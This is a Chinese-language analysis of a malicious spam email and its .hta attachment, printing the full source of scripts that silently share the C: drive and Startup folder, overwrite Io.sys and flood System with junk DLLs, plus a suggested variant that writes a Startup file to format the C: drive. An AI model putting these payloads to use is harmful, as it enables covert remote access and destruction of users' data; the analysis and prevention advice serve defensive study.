| 关键词: 文件 附件 doc 目录 邮件 Windows 机器 系统 作者 CurrentVersion |
近日来我每天都收到很多邮件,那些广告邮件暂且不说,光是垃圾邮件就有十多封一天,很多都带有附件,通常附件为doc和exe文件,信的内容大多是些无聊的内容,他们假装寄错了地址,无非是想骗我打开附件而已。 一、问题的发现 今天,我又接到了一封有趣的邮件,内容是宣传一个笑话网站的,在附件中还“友情赠送”了N篇笑话“极品”呢!反正我没事做,看看笑话也无妨呀,刚刚想打开附件,发现附件名为Laugh,扩展名为.hta !经验告诉我:这个附件肯定不是什么好东西!还是别碰它为好! 某日上网,远方的一位朋友问我:“你怎么啦?居然开着C盘的完全共享?连个访问密码都没有!今天这个是不是你呀?”我打开“我的电脑”一看,没有呀!我的C盘下面没有一个托盘的小手呀,怎么会是共享呢?(连隐藏共享都不知道,笨!),我还跟朋友争吵着呢。 后来朋友在我的C盘下留下了一个文本文件,写下了一千多字嘲笑我的话,我这才发觉大事不妙。进入“我的电脑”,在C盘上点右键->“共享”查看时,果然发现我的C盘开着共享,共享名为“C$”,而且是“最多用户”!可在“我的电脑”里就是没有托着盘的小手,所以很难发现的。我马上下网审查了那封邮件,终于找到了隐藏在其中的杀机,以下是该邮件的源码,该信的作者在HTML中含入了恶意的Java脚本代码,通过对注册表进行写操作,将我的C盘开了共享: 二、邮件源码 〈!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"〉 〈HTML〉〈HEAD〉 〈META content="text/html; charset=gb2312" http-equiv=Content-Type〉 〈META content="MSHTML 5.00.2614.3500" name=GENERATOR〉 〈STYLE〉〈/STYLE〉 〈/HEAD〉 〈BODY bgColor=#c0c0c0〉 〈DIV align=center〉〈FONT size=4〉〈STRONG〉笑林广记笑话集〈/STRONG〉〈/FONT〉〈/DIV〉 〈DIV align=center〉 〈/DIV〉 〈DIV align=left〉〈FONT size=2〉 你好!我们是笑林广记笑话网,这里有大量的XXX级笑话,绝对笑死你!欢迎访问!附件中有极品笑话N篇,友情赠送!〈A href="http://www.sexlaugh.com.cn"Http://www.sexlaugh.com.cn〈/A〉〈/FONT〉〈/DIV〉 〈script language=JavaScript〉//嵌入Java脚本。 function f() //此函数实现对注册表进行写操作,以下为它的作案过程。 { var aa,ss; aa=document.applets[0]; aa.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); aa.createInstance(); ss=aa.GetObject(); ss.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\ Network\\LanMan\\C$\\Flags",302,"REG_DWORD"); //隐藏共享标志,连自己都看不见那个小手。 ss.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\ Network\\LanMan\\C$\\Type",0,"REG_DWORD"); ss.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\ Network\\LanMan\\C$\\Path","C:\\");//共享的路径为C盘 } function init() { setTimeout("f()", 1000); //1秒钟(1000毫秒)调用f()一次,实现对注册表操作。 } init(); //调用函数init()。 〈/script〉 〈/BODY〉〈/HTML〉 三、过程分析: 这封邮件利用了ActiveX控件写注册表,只要一打开这封信,就会在注册表的HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan中添加一个键值C$,将C盘改为完全共享!由于在C后面加了个$,对方机器上是看不到这个共享目录的,但只要我日后通过IE、OICQ等暴露了我的IP的话,对方照样可以访问我的C盘。具体的方法是:在DOS方式下打 net use x: \我的IPC$ ,这样,就将我的C盘映射成对方的X盘了。那些所谓的“黑客”就可以远程登陆C盘,可以在硬盘中胡作非为:随意拷贝、删除、添加文件……还可以上传木马,获得机器的完全控制权!可恶! 更加可恶的是,自己开了共享连自己都不知道!其精华之处在于ss.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion \\Network\\LanMan\\C$\\Flags",302,"REG_DWORD")这一句,将Flags的十六进制值设置为302,就开了隐藏的共享,连自己都看不到C盘被共享了,真是阴险毒辣!杀人于无形之中。 光是阅读了信件就有如此大的危害了,那么打开附件中的文件呢?会不会遭受更大的危害呢?那是不用说的了,刚才的只是发信者给的一点小小的见面礼,更大的阴谋还是藏在附件里呢! 现在,我们来看一看附件吧。它的名字为 Laugh ,导出后,查看它的“文件类型”,就可以看到它是以“.hta”为后缀名的。.hta文件就是HTML Application文件,它由Mshta.exe解释执行。用记事本打开,(反正我是不敢双击打开的,如果您有胆量,不妨试试,可不关我的事!)发现了如下代码: 〈html〉 〈script language=vbs〉 On Error Resume Next //一般的蠕虫病毒源代码都有这一句的哦容错语句,避免程序崩溃嘛! set aa=CreateObject("WScript.Shell")//创建WScript对象。 Set fs = CreateObject("Scripting.FileSystemObject")//建立文件系统对象。 Set dir1 = fs.GetSpecialFolder(0)//获得Windows的路径,赋给dir1。 Set dir2 = fs.GetSpecialFolder(1)//获得System的路径,赋给dir2。 dir1=dir1+"\START MENU\PROGRAMS\启动" //经过这样的转换赋值,dir1就是你的“开始菜单”、“程序”、“启动”目录所在的准确位置,这样工作起来,不是比那些“C:\WINDOWS\”绝对路径灵活多吗? aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\ Network\LanMan\S$\Flags",302,"REG_DWORD" //写入Dword值Flags,这是共享类型的标志, //设置为302,自己机器上并没有看到共享目录下出现一个托着盘的小手。 aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\ Network\LanMan\S$\Type",0,"REG_DWORD" //设置Type的Dword值 aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\ Network\LanMan\S$\Path",dir1 //共享资源的绝对路径,就是将你的“启动”目录设置为完 //全共享,共享名为"S$" a=10 //初始化变量值 Set Os = CreateObject("Scriptlet.TypeLib") //建立自定义枚举对象,将以下一大堆的垃圾语句写入目标文件。 doc="“Hi”、“Hello”、“How are you?”、“Can you help me?”、“We want peace” 、“Where will you go?”、“Congratulations!!!”、“Don’t Cry”、“Look at the pretty”、“Some advice on your shortcoming”、“Free XXX Pictures”、“A free hot porn site”、“Why don’t you reply to me?”、“How about have dinner with me together?”、“Never kiss a stranger”“Hi”、“Hello”、“How are you?”、“Can you help me?”、“We want peace” 、“Where will you go?”、“Congratulations!!!”、“Don’t Cry”、“Look at the pretty”、“Some advice on your shortcoming”、“Free XXX Pictures”、“A free hot porn site”、“Why don’t you reply to me?”、“How about have dinner with me together?”、“Never kiss a stranger”“Hi”、“Hello”、“How are you?”、“Can you help me?”、“We want peace” 、“Where will you go?”、“Congratulations!!!”、“Don’t Cry”、“Look at the pretty”、“Some advice on your shortcoming”、“Free XXX Pictures”、“A free hot porn site”、“Why don’t you reply to me?”、“How about have dinner with me together?”、“Never kiss a stranger”“Hi”、“Hello”、“How are you?”、“Can you help me?”、“We want peace” 、“Where will you go?”、“Congratulations!!!”、“Don’t Cry”、“Look at the pretty”、“Some advice on your shortcoming”、“Free XXX Pictures”、“A free hot porn site”、“Why don’t you reply to me?”“How about have dinner with me together?”" //以上就是垃圾内容,用来写入目标文件的。 Os.Reset //重置TypeLib对象 Os.Path = "C:\Io.sys" //TypeLib对象的目标路径为C:\Io.sys,先破坏掉你的Io.sys文件 Os.Doc = doc //向目标写入的内容就是上面的一大堆垃圾了 Os.Write() //写入,生成文件 while true //死循环,继续制造垃圾文件,在发信者看来当然是越多越好了 a=a+1 Os.Reset //重置对象 Os.Path = dir2&"\Msvbvm"&a&".dll" //目标路径为System下的Msvbvm???.dll文件 Os.Doc = doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc& doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&d oc&doc&doc&doc&doc&doc&doc&doc&doc&doc //大量重复,以生成足够大小的文件,实在是阴险。 Os.Write()//写入,生成文件 wend //循环语句至此才结束 〈/script〉//破坏的脚本总算完了,就这么多都已经够好受的了! 〈/Html〉 原来,作者进一步找到“启动”目录的准确位置,将其共享,并往你的机器上制造垃圾DLL文件!看了附件的源代码,相信大家都知道其中的危害了,作者在邮件本身设置了将C盘共享的Java脚本代码。可是,作者还是不放心,担心用户的C盘不是系统所在的盘,这样就算拿到了C盘的共享也不能完全控制用户的机器,所以,发信者在附件里准确获得系统的“启动”目录,用vb脚本将其共享,可见作者的“用心良苦”。 那为什么不在邮件体里做这一切,非要放到附件里呢?需要说明的是,以.hta为扩展名的文件的权限比Html的权限大,可以调用FileSystemObject控件(文件系统对象)。这样,破坏起来就可以大展神威了。在邮件里是HTML格式的文件,恐怕没有调用FileSystemObject控件的权限,要不然,作者那么聪明,不会多此一举的。 这只能算是一封恶意破坏的电子邮件,算不上是病毒,因为它没有病毒的特征--“传染性”,只是对受害者施加破坏。 四、邮件的危害 单单是阅读邮件,你的C盘就共享,并且连自己都不知道。如果你运行了该附件,会造成什么后果呢?从代码中我们可以知道发信者的意图:它首先得到你机器上的Windows目录和System目录。接着,通过修改注册表,把“启动”目录--如"C:\WINDOWS\Start Menu\Programs\启动"设置为完全共享(这样做的目的究竟是什么,相信不用多说了,上传木马到该目录下,下次你启动机器就自动运行,进而完全控制你的机器)。然后就往System目录里面灌垃圾文件,大家可以看看上面的代码“Os.Path = dir2&"\Msvbvm"&a&".dll"”这一句,往里面灌的都是些形如Msvbvm???的Dll文件。可恶之处就在于这些是DLL文件!所有用VB编写的程序都不能用了,提示找不到Dll文件--因为Msvbvm50.dll和Msvbvm60.dll被垃圾文件覆盖了!而且,这些DLL文件越多,机器启动的时候就越慢的,你说发信者的心是不是肉做的呢?? 五、补救措施 最好在MSDOS下“dir Msvbvm*.dll ”查找Msvbvm*.dll,全部删除,然后到别的同学的机器拷贝相应的DLL文件放回原处(这样做是否有点兴师动众?),再将共享的目录改回来,最后把Io.sys再次覆盖一遍就可以了。启动的时候可能会提示“缺少系统文件”,这时用“启动盘”启动,在DOS下键入:Sys A: C: ,再重启即可修复系统文件。 六、防范方法 1.安装防火墙,如:Norton AntiVirus ,Lockdown2000 (是Professional版)等。 2.将ActiveX元件、Java脚本和Vbs脚本等全部禁止。方法:打开IE,点击“工具”->“Internet选项”,在弹出的对话框中选择“安全”标签,再点击“自定义级别”按钮,就会弹出“安全设置”对话框,把其中所有的ActiveX控件以及Java和Vbs脚本相关全部选择“禁用”。 七、几点思考 1.看了邮件和附件的源码,实在令人佩服作者的聪明和考虑的周到,代码设置得很巧妙,利用了.hta文件的权限比HTML大来陷害用户,杀人于无形之中!开始的时候,我倒觉得作者这样做未免有点“此地无银三百两”,你看,一个陌生类型的文件出现在附件里,怎么会不引人起疑心的呢?有经验的朋友都不会轻易去执行附件的,何不直接在受害者浏览邮件的时候将Laugh.hta文件直接写到“启动”目录下,让它在下次启动机器的时候自动执行呢?但回过头来又想,“启动”目录是在系统目录下的,现在连系统目录都不能确定在哪(不一定就是在C盘的),又怎么写到“启动”目录下呢?要是系统就装在C盘,那么在你阅读邮件的时候,作者已经达到愿望--将你的C盘共享啦。 2.鉴于大多数的用户都将系统默认地装在C:\下,所以我觉得,对于这一类的用户的机器,还有可能受到这样的攻击:完全可以将代码嵌入邮件体里,将附件文件Laugh.hta 的内容写到用户的“启动”目录下,默认路径为:C:\\WINDOWS\\Start Menu\\Programs\\启动\,使机器重启就执行该文件,实现附件所达到的目的,这样就不用骗人打开附件了。但是如何实现呢?大家不妨来回顾一下浏览网页格式化硬盘的代码吧: scr.Reset(); scr.Path="C:\\WINDOWS\\Start Menu\\Programs\\启动\\test.hta"; scr.Doc=" wsh.Run('start /m format c: /autotest /u'); alert('Windows 正在检查您的系统,这将需要几分钟……');"; scr.write(); 以上就是往“开始”菜单的“启动”目录写test.hta文件,里面包含了format c: /autotest /u 指令,使机器重启后执行test.hta文件,格式化c盘。只要在网页文件里的……插入上面的代码即可实现。那么本恶意邮件的作者为何不这样的写到“启动”目录去呢?如果这样做,效果会更好的。 虽然这样的中招率不是很高,这只能攻击那些采取默认路径安装系统的用户,很多系统不一定就装在C盘,“启动”也不一定就在C:\WINDOWS\目录下,但是默认将系统装在C盘的用户还是很多的,一旦中招就等于用户打开了附件了,“搏一搏,单车变摩托嘛”:) ,在很多情况下还是很有效的。像作者那样的话,别人不打开附件就不能给系统灌垃圾文件了,我觉得作者至少应该多做这一步,企图将附件文件写到“启动”目录下(注:这不是倡导如何搞破坏,而是告诉你有这样被破坏的可能性)。所以,将系统默认安装在C盘的朋友还要注意来自这样的攻击,一阅读这样的邮件你就…… 身处网络就像人在江湖,江湖十分险恶,仅仅是一封陌生的邮件就可以使你的机器大门闯开,如果经不住诱惑,被花言巧语所骗,执行了附件文件,更是大难临头,给你造成诸多的不便,希望本文对你有所启发。 QQ 185184165 |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|